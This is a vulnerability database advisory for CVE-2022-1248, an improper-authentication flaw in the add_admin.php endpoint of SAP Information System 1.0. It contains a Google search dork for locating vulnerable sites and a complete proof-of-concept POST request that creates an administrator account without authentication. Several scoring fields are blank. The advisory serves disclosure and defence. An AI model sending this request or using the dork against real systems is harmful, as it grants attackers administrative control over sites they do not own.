



VDB-196550 · CVE-2022-1248

# SAP INFORMATION SYSTEM 1.0 POST REQUEST ADD\_ADMIN.PHP IMPROPER AUTHENTICATION

CVSS Meta Temp Score (?)

6.9

Current Exploit Price (≈) (?)

\$0-\$5k

CTI Interest Score (?)

0.00

A vulnerability was found in SAP Information System 1.0. It has been rated as critical. Affected by this issue is an unknown code of the file `/SAP_Information_System/controllers/add_admin.php` of the component *POST Request Handler*. The manipulation with an unknown input leads to a improper authentication vulnerability. Using CWE to declare the problem leads to CWE-287. When an actor claims to have a given identity, the software does not prove or insufficiently proves that the claim is correct. Impacted is confidentiality, integrity, and availability.

The weakness was published 04/06/2022. This vulnerability is handled as CVE-2022-1248. Technical details as well as a exploit are known.

It is declared as proof-of-concept. The exploit is available at vulnDB.com. By approaching the search of inurl:SAP\_Information\_System/controllers/add\_admin.php it is possible to find vulnerable targets with Google Hacking. The code used by the exploit is:

```
POST /SAP_Information_System/controllers/add_admin.php HTTP/1.1
Host: target.com
Content-Length: 345
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYELEK8fMdX63l0iI
Origin: http://target.com
Referer: http://target.com/SAP_Information_System/Dashboard/pages/Admin.php
Accept-Encoding: gzip, deflate
Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=jjnkf4nmpdm7sca82btt2r4s1c
Connection: close

-----WebKitFormBoundaryYELEK8fMdX63l0iI
Content-Disposition: form-data; name="username"

hacker
-----WebKitFormBoundaryYELEK8fMdX63l0iI
Content-Disposition: form-data; name="password"

P@ssw0rd!
-----WebKitFormBoundaryYELEK8fMdX63l0iI
Content-Disposition: form-data; name="user"
```

```
Content-Disposition: form-data; name= user
```

```
admin
```

```
-----WebKitFormBoundaryYELEK8fMdX63l0iI--
```

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

## Product

### Name

- SAP Information System

## CPE 2.3

- 

## CPE 2.2

- 

## CVSSv3

VulDB Meta Base Score: 7.3

VulDB Meta Temp Score: 6.9

VulDB Base Score: 7.3

VulDB Temp Score: 6.6

VulDB Vector: 


VulDB Reliability: 

CNA Base Score: 7.3

CNA Vector (VulDB): 

## CVSSv2



VulDB Base Score: 

VulDB Temp Score: 

VulDB Reliability: 

## Exploiting

**Class:** Improper authentication

**CWE:** CWE-287

**ATT&CK:** Unknown

**Local:** No

**Remote:** Yes

**Availability:** 

**Status:** Proof-of-Concept

**Download:** 

**Google Hack:** 

**EPSS Score:** 

**EPSS Percentile:** 

**Price Prediction:** 

**Current Price Estimation:** 

## Threat Intelligence


**Interest:** 

**Active Actors:** 

**Active APT Groups:** 

## Countermeasures

**Recommended:** no mitigation known

**Status:** 

**0-Day Time:** 

## Timeline

04/06/2022		Advisory disclosed
04/06/2022	+0 days	VulDB entry created
04/08/2022	+2 days	VulDB last update

## Sources

**Status:** Not defined

**CVE:** CVE-2022-1248 (🔒)

**scip Labs:** <https://www.scip.ch/en/?labs.20161013>

## Entry

**Created:** 04/06/2022 05:01 AM

**Updated:** 04/08/2022 10:24 AM

**Changes:** 04/06/2022 05:01 AM (37), 04/06/2022 05:10 AM (1), 04/08/2022 10:18 AM (11), 04/08/2022 10:24 AM (1)

**Complete:** 🔍

**Submitter:** mrempy

**Committer:** mrempy

## Discussion

No comments yet. Languages: en.

Please log in to comment.